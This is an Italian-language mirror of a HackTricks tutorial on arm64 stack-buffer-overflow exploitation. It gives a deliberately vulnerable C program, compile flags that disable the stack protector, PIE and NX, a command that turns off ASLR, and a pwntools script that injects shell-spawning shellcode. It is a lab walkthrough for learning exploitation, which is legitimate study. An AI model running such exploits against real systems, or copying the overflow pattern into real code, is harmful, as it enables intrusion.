mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
74 lines
1.8 KiB
Markdown
74 lines
1.8 KiB
Markdown
# Stack Shellcode - arm64
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
Trova un'introduzione a arm64 in:
|
|
|
|
{{#ref}}
|
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
|
{{#endref}}
|
|
|
|
## Code 
|
|
```c
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
|
|
void vulnerable_function() {
|
|
char buffer[64];
|
|
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
|
}
|
|
|
|
int main() {
|
|
vulnerable_function();
|
|
return 0;
|
|
}
|
|
```
|
|
Compila senza pie, canary e nx:
|
|
```bash
|
|
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
|
```
|
|
## No ASLR & No canary - Stack Overflow 
|
|
|
|
Per fermare ASLR eseguire:
|
|
```bash
|
|
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
|
```
|
|
Per ottenere il [**offset del bof controlla questo link**](../ret2win/ret2win-arm64.md#finding-the-offset).
|
|
|
|
Sfruttamento:
|
|
```python
|
|
from pwn import *
|
|
|
|
# Load the binary
|
|
binary_name = './bof'
|
|
elf = context.binary = ELF(binary_name)
|
|
|
|
# Generate shellcode
|
|
shellcode = asm(shellcraft.sh())
|
|
|
|
# Start the process
|
|
p = process(binary_name)
|
|
|
|
# Offset to return address
|
|
offset = 72
|
|
|
|
# Address in the stack after the return address
|
|
ret_address = p64(0xfffffffff1a0)
|
|
|
|
# Craft the payload
|
|
payload = b'A' * offset + ret_address + shellcode
|
|
|
|
print("Payload length: "+ str(len(payload)))
|
|
|
|
# Send the payload
|
|
p.send(payload)
|
|
|
|
# Drop to an interactive session
|
|
p.interactive()
|
|
```
|
|
L'unica cosa "complicata" da trovare qui sarebbe l'indirizzo nello stack da chiamare. Nel mio caso ho generato l'exploit con l'indirizzo trovato usando gdb, ma poi quando l'ho sfruttato non ha funzionato (perché l'indirizzo dello stack è cambiato un po').
|
|
|
|
Ho aperto il **`core` file** generato (`gdb ./bog ./core`) e ho controllato il vero indirizzo dell'inizio dello shellcode.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|